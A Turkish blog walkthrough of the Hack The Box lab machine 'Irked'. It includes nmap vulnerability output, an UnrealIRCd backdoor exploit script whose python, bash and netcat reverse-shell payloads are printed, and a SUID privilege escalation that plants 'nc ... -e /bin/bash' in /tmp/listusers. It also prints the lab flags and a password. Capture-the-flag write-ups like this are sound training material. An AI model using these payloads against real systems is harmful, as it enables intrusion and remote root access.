İçeriğe geç

Irked

Tarih: 12/08/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Irked - HTB Kolay Linux

Walkthrough

nmap taraması ile başlayalım.

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:6.7p1: 
|       EDB-ID:21018    10.0    https://vulners.com/exploitdb/EDB-ID:21018  *EXPLOIT*
|       CVE-2001-0554   10.0    https://vulners.com/cve/CVE-2001-0554
|       CVE-2015-5600   8.5 https://vulners.com/cve/CVE-2015-5600
|       EDB-ID:40888    7.8 https://vulners.com/exploitdb/EDB-ID:40888  *EXPLOIT*
|       CVE-2020-16088  7.5 https://vulners.com/cve/CVE-2020-16088
|       EDB-ID:41173    7.2 https://vulners.com/exploitdb/EDB-ID:41173  *EXPLOIT*
|       MSF:ILITIES/GENTOO-LINUX-CVE-2015-6564/ 6.9 https://vulners.com/metasploit/MSF:ILITIES/GENTOO-LINUX-CVE-2015-6564/  *EXPLOIT*
|       CVE-2015-6564   6.9 https://vulners.com/cve/CVE-2015-6564
|       CVE-2018-15919  5.0 https://vulners.com/cve/CVE-2018-15919
|       CVE-2017-15906  5.0 https://vulners.com/cve/CVE-2017-15906
|       SSV:90447   4.6 https://vulners.com/seebug/SSV:90447    *EXPLOIT*
|       EDB-ID:45233    4.6 https://vulners.com/exploitdb/EDB-ID:45233  *EXPLOIT*
|       EDB-ID:45210    4.6 https://vulners.com/exploitdb/EDB-ID:45210  *EXPLOIT*
|       EDB-ID:45001    4.6 https://vulners.com/exploitdb/EDB-ID:45001  *EXPLOIT*
|       EDB-ID:45000    4.6 https://vulners.com/exploitdb/EDB-ID:45000  *EXPLOIT*
|       EDB-ID:40963    4.6 https://vulners.com/exploitdb/EDB-ID:40963  *EXPLOIT*
|       EDB-ID:40962    4.6 https://vulners.com/exploitdb/EDB-ID:40962  *EXPLOIT*
|       CVE-2016-0778   4.6 https://vulners.com/cve/CVE-2016-0778
|       MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSH-CVE-2020-14145/  *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP9-CVE-2020-14145/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP8-CVE-2020-14145/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145/  4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP5-CVE-2020-14145/   *EXPLOIT*
|       MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/   4.3 https://vulners.com/metasploit/MSF:ILITIES/F5-BIG-IP-CVE-2020-14145/    *EXPLOIT*
|       CVE-2020-14145  4.3 https://vulners.com/cve/CVE-2020-14145
|       CVE-2015-5352   4.3 https://vulners.com/cve/CVE-2015-5352
|       CVE-2007-2768   4.3 https://vulners.com/cve/CVE-2007-2768
|       MSF:ILITIES/UBUNTU-CVE-2016-0777/   4.0 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2016-0777/    *EXPLOIT*
|       MSF:ILITIES/IBM-AIX-CVE-2016-0777/  4.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-AIX-CVE-2016-0777/   *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2016-0777/   4.0 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2016-0777/    *EXPLOIT*
|       MSF:ILITIES/AIX-7.2-OPENSSH_ADVISORY7_CVE-2016-0777/    4.0 https://vulners.com/metasploit/MSF:ILITIES/AIX-7.2-OPENSSH_ADVISORY7_CVE-2016-0777/ *EXPLOIT*
|       MSF:ILITIES/AIX-7.1-OPENSSH_ADVISORY7_CVE-2016-0777/    4.0 https://vulners.com/metasploit/MSF:ILITIES/AIX-7.1-OPENSSH_ADVISORY7_CVE-2016-0777/ *EXPLOIT*
|       MSF:ILITIES/AIX-5.3-OPENSSH_ADVISORY7_CVE-2016-0777/    4.0 https://vulners.com/metasploit/MSF:ILITIES/AIX-5.3-OPENSSH_ADVISORY7_CVE-2016-0777/ *EXPLOIT*
|       CVE-2016-0777   4.0 https://vulners.com/cve/CVE-2016-0777
|       MSF:ILITIES/ALPINE-LINUX-CVE-2015-6563/ 1.9 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2015-6563/  *EXPLOIT*
|_      CVE-2015-6563   1.9 https://vulners.com/cve/CVE-2015-6563
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /manual/: Potentially interesting folder
|_http-server-header: Apache/2.4.10 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.10: 
|       CVE-2021-26691  7.5 https://vulners.com/cve/CVE-2021-26691
|       CVE-2017-7679   7.5 https://vulners.com/cve/CVE-2017-7679
|       CVE-2017-7668   7.5 https://vulners.com/cve/CVE-2017-7668
|       CVE-2017-3169   7.5 https://vulners.com/cve/CVE-2017-3169
|       CVE-2017-3167   7.5 https://vulners.com/cve/CVE-2017-3167
|       MSF:ILITIES/UBUNTU-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/SUSE-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/SUSE-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/ORACLE_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/ORACLE_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15715/ 6.8 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15715/  *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312/   6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2018-1312/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP1-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/FREEBSD-CVE-2017-15715/ 6.8 https://vulners.com/metasploit/MSF:ILITIES/FREEBSD-CVE-2017-15715/  *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2017-15715/  6.8 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2017-15715/   *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/AMAZON_LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/AMAZON_LINUX-CVE-2017-15715/ *EXPLOIT*
|       MSF:ILITIES/ALPINE-LINUX-CVE-2018-1312/ 6.8 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2018-1312/  *EXPLOIT*
|       MSF:ILITIES/ALPINE-LINUX-CVE-2017-15715/    6.8 https://vulners.com/metasploit/MSF:ILITIES/ALPINE-LINUX-CVE-2017-15715/ *EXPLOIT*
|       CVE-2020-35452  6.8 https://vulners.com/cve/CVE-2020-35452
|       CVE-2018-1312   6.8 https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8 https://vulners.com/cve/CVE-2017-15715
|       CVE-2017-9788   6.4 https://vulners.com/cve/CVE-2017-9788
|       MSF:ILITIES/REDHAT_LINUX-CVE-2019-0217/ 6.0 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2019-0217/  *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0217/  6.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2019-0217/   *EXPLOIT*
|       CVE-2019-0217   6.0 https://vulners.com/cve/CVE-2019-0217
|       EDB-ID:47689    5.8 https://vulners.com/exploitdb/EDB-ID:47689  *EXPLOIT*
|       CVE-2020-1927   5.8 https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8 https://vulners.com/cve/CVE-2019-10098
|       1337DAY-ID-33577    5.8 https://vulners.com/zdt/1337DAY-ID-33577    *EXPLOIT*
|       CVE-2016-5387   5.1 https://vulners.com/cve/CVE-2016-5387
|       SSV:96537   5.0 https://vulners.com/seebug/SSV:96537    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1303/   5.0 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1303/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2020-1934/   5.0 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2020-1934/    *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15710/ 5.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2017-15710/  *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-8743/  5.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-8743/   *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-2161/  5.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-2161/   *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-0736/  5.0 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2016-0736/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP3-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710/  5.0 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2017-15710/   *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2017-15710/    5.0 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2017-15710/ *EXPLOIT*
|       MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED  5.0 https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED   *EXPLOIT*
|       EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7    5.0 https://vulners.com/exploitpack/EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7    *EXPLOIT*
|       EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D    5.0 https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D    *EXPLOIT*
|       CVE-2021-26690  5.0 https://vulners.com/cve/CVE-2021-26690
|       CVE-2020-1934   5.0 https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-17567  5.0 https://vulners.com/cve/CVE-2019-17567
|       CVE-2019-0220   5.0 https://vulners.com/cve/CVE-2019-0220
|       CVE-2018-17199  5.0 https://vulners.com/cve/CVE-2018-17199
|       CVE-2018-1303   5.0 https://vulners.com/cve/CVE-2018-1303
|       CVE-2017-9798   5.0 https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0 https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0 https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-2161   5.0 https://vulners.com/cve/CVE-2016-2161
|       CVE-2016-0736   5.0 https://vulners.com/cve/CVE-2016-0736
|       CVE-2015-3183   5.0 https://vulners.com/cve/CVE-2015-3183
|       CVE-2015-0228   5.0 https://vulners.com/cve/CVE-2015-0228
|       CVE-2014-3583   5.0 https://vulners.com/cve/CVE-2014-3583
|       1337DAY-ID-28573    5.0 https://vulners.com/zdt/1337DAY-ID-28573    *EXPLOIT*
|       1337DAY-ID-26574    5.0 https://vulners.com/zdt/1337DAY-ID-26574    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1302/   4.3 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1302/    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1301/   4.3 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1301/    *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2016-4975/   4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2016-4975/    *EXPLOIT*
|       MSF:ILITIES/DEBIAN-CVE-2019-10092/  4.3 https://vulners.com/metasploit/MSF:ILITIES/DEBIAN-CVE-2019-10092/   *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2020-11985/    4.3 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2020-11985/ *EXPLOIT*
|       MSF:ILITIES/APACHE-HTTPD-CVE-2019-10092/    4.3 https://vulners.com/metasploit/MSF:ILITIES/APACHE-HTTPD-CVE-2019-10092/ *EXPLOIT*
|       EDB-ID:47688    4.3 https://vulners.com/exploitdb/EDB-ID:47688  *EXPLOIT*
|       CVE-2020-11985  4.3 https://vulners.com/cve/CVE-2020-11985
|       CVE-2019-10092  4.3 https://vulners.com/cve/CVE-2019-10092
|       CVE-2018-1302   4.3 https://vulners.com/cve/CVE-2018-1302
|       CVE-2018-1301   4.3 https://vulners.com/cve/CVE-2018-1301
|       CVE-2016-4975   4.3 https://vulners.com/cve/CVE-2016-4975
|       CVE-2015-3185   4.3 https://vulners.com/cve/CVE-2015-3185
|       CVE-2014-8109   4.3 https://vulners.com/cve/CVE-2014-8109
|       1337DAY-ID-33575    4.3 https://vulners.com/zdt/1337DAY-ID-33575    *EXPLOIT*
|       MSF:ILITIES/UBUNTU-CVE-2018-1283/   3.5 https://vulners.com/metasploit/MSF:ILITIES/UBUNTU-CVE-2018-1283/    *EXPLOIT*
|       MSF:ILITIES/REDHAT_LINUX-CVE-2018-1283/ 3.5 https://vulners.com/metasploit/MSF:ILITIES/REDHAT_LINUX-CVE-2018-1283/  *EXPLOIT*
|       MSF:ILITIES/ORACLE-SOLARIS-CVE-2018-1283/   3.5 https://vulners.com/metasploit/MSF:ILITIES/ORACLE-SOLARIS-CVE-2018-1283/    *EXPLOIT*
|       MSF:ILITIES/IBM-HTTP_SERVER-CVE-2018-1283/  3.5 https://vulners.com/metasploit/MSF:ILITIES/IBM-HTTP_SERVER-CVE-2018-1283/   *EXPLOIT*
|       MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283/   3.5 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULEROS-2_0_SP2-CVE-2018-1283/    *EXPLOIT*
|       MSF:ILITIES/CENTOS_LINUX-CVE-2018-1283/ 3.5 https://vulners.com/metasploit/MSF:ILITIES/CENTOS_LINUX-CVE-2018-1283/  *EXPLOIT*
|       CVE-2018-1283   3.5 https://vulners.com/cve/CVE-2018-1283
|       CVE-2016-8612   3.3 https://vulners.com/cve/CVE-2016-8612
|       CVE-2020-13938  2.1 https://vulners.com/cve/CVE-2020-13938
|       PACKETSTORM:140265  0.0 https://vulners.com/packetstorm/PACKETSTORM:140265  *EXPLOIT*
|       EDB-ID:42745    0.0 https://vulners.com/exploitdb/EDB-ID:42745  *EXPLOIT*
|       EDB-ID:40961    0.0 https://vulners.com/exploitdb/EDB-ID:40961  *EXPLOIT*
|       1337DAY-ID-601  0.0 https://vulners.com/zdt/1337DAY-ID-601  *EXPLOIT*
|       1337DAY-ID-2237 0.0 https://vulners.com/zdt/1337DAY-ID-2237 *EXPLOIT*
|       1337DAY-ID-1415 0.0 https://vulners.com/zdt/1337DAY-ID-1415 *EXPLOIT*
|_      1337DAY-ID-1161 0.0 https://vulners.com/zdt/1337DAY-ID-1161 *EXPLOIT*
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35138/udp6  status
|   100024  1          40562/tcp   status
|   100024  1          47362/udp   status
|_  100024  1          52438/tcp6  status
6697/tcp  open  irc     UnrealIRCd (Admin email [email protected])
| irc-botnet-channels: 
|_  ERROR: Closing Link: [10.10.14.12] (Throttled: Reconnecting too fast) -Email [email protected] for more information.
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown: 
8067/tcp  open  irc     UnrealIRCd (Admin email [email protected])
| irc-botnet-channels: 
|_  ERROR: Closing Link: [10.10.14.12] (Throttled: Reconnecting too fast) -Email [email protected] for more information.
40562/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd (Admin email [email protected])
| irc-botnet-channels: 
|_  ERROR: Closing Link: [10.10.14.12] (Throttled: Reconnecting too fast) -Email [email protected] for more information.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

IRC ile ilgili epxploit ararken burdaki exploiti buldum. https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/master/exploit.py

┌──(root💀kali)-[~/oscp/htb/irked]
└─# wget https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/master/exploit.py
--2021-08-12 13:27:44--  https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/master/exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2195 (2.1K) [text/plain]
Saving to: ‘exploit.py’

exploit.py                                                  100%[=========================================================================================================================================>]   2.14K  --.-KB/s    in 0s      

2021-08-12 13:27:44 (11.8 MB/s) - ‘exploit.py’ saved [2195/2195]

┌──(root💀kali)-[~/oscp/htb/irked]
└─# python3 exploit.py       
usage: exploit.py [-h] -payload {python,netcat,bash} ip port
exploit.py: error: the following arguments are required: ip, port, -payload

Daha sonra exlpoiti düzenledim.


┌──(root💀kali)-[~/oscp/htb/irked]
└─# head exploit.py -n 20
#!/usr/bin/python3
import argparse
import socket
import base64

# Sets the target ip and port from argparse
parser = argparse.ArgumentParser()
parser.add_argument('ip', help='target ip')
parser.add_argument('port', help='target port', type=int)
parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])
args = parser.parse_args()

# Sets the local ip and port (address and port to listen on)
local_ip = '10.10.14.12'  # CHANGE THIS
local_port = '1234'  # CHANGE THIS 

# The different types of payloads that are supported
python_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\'{local_ip}\';EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');QRRCCltJB.close();" '
bash_payload = f'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1'
netcat_payload = f'nc -e /bin/bash {local_ip} {local_port}'

┌──(root💀kali)-[~/oscp/htb/irked]
└─# python3 exploit.py 10.10.10.117 6697 -payload python
Exploit sent successfully!
┌──(root💀kali)-[~/oscp/htb/irked]
└─# nc -lvp 1234                                                                                          
listening on [any] 1234 ...
10.10.10.117: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.117] 45461
ircd@irked:~/Unreal3.2$ id
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
ircd@irked:~/Unreal3.2$

linpeas ile inceleme yaparken viewuser uygulamasının suid bitinin etkin olduğunu gördüm ve çalıştırmayı denedim.

viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2021-08-12 12:38 (:0)
sh: 1: /tmp/listusers: not found

/tmp/listusers dosyasını bulamadığıonı söylüyordu. İşlem kolay. Ben oluşturdum ve root oldum.


echo 'nc 10.10.14.12 9999 -e /bin/bash' > /tmp/listusers
ircd@irked:/tmp$ cat /tmp/listusers  
cat /tmp/listusers
nc 10.10.14.12 9999 -e /bin/bash

cd@irked:/tmp$ chmod 777 /tmp/listusers
chmod 777 /tmp/listusers
ircd@irked:/tmp$ viewuser
viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2021-08-12 12:38 (:0)
bash: line 3: s: command not found
┌──(root💀kali)-[~/tool/PEASS-ng/linPEAS]
└─# nc -lvp 9999                                                                                          
listening on [any] 9999 ...
10.10.10.117: inverse host lookup failed: Unknown host
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.117] 36327
id
uid=0(root) gid=1001(ircd) groups=1001(ircd)
cd /root
s
ls
pass.txt
root.txt
cat pass.txt
Kab6h+m+bbp2J:HG
cat root.txt
8d8e9e8be64654b6dccc3bff4522daf3
root@irked:/home# find /home -name "*user*.txt" -readable -type f -exec ls -al {} \; 2>/dev/null
<e -name "*user*.txt" -readable -type f -exec ls -al {} \; 2>/dev/null       
-rw------- 1 djmardov djmardov 33 May 15  2018 /home/djmardov/Documents/user.txt
root@irked:/home# cat /home/djmardov/Documents/user.txt
cat /home/djmardov/Documents/user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir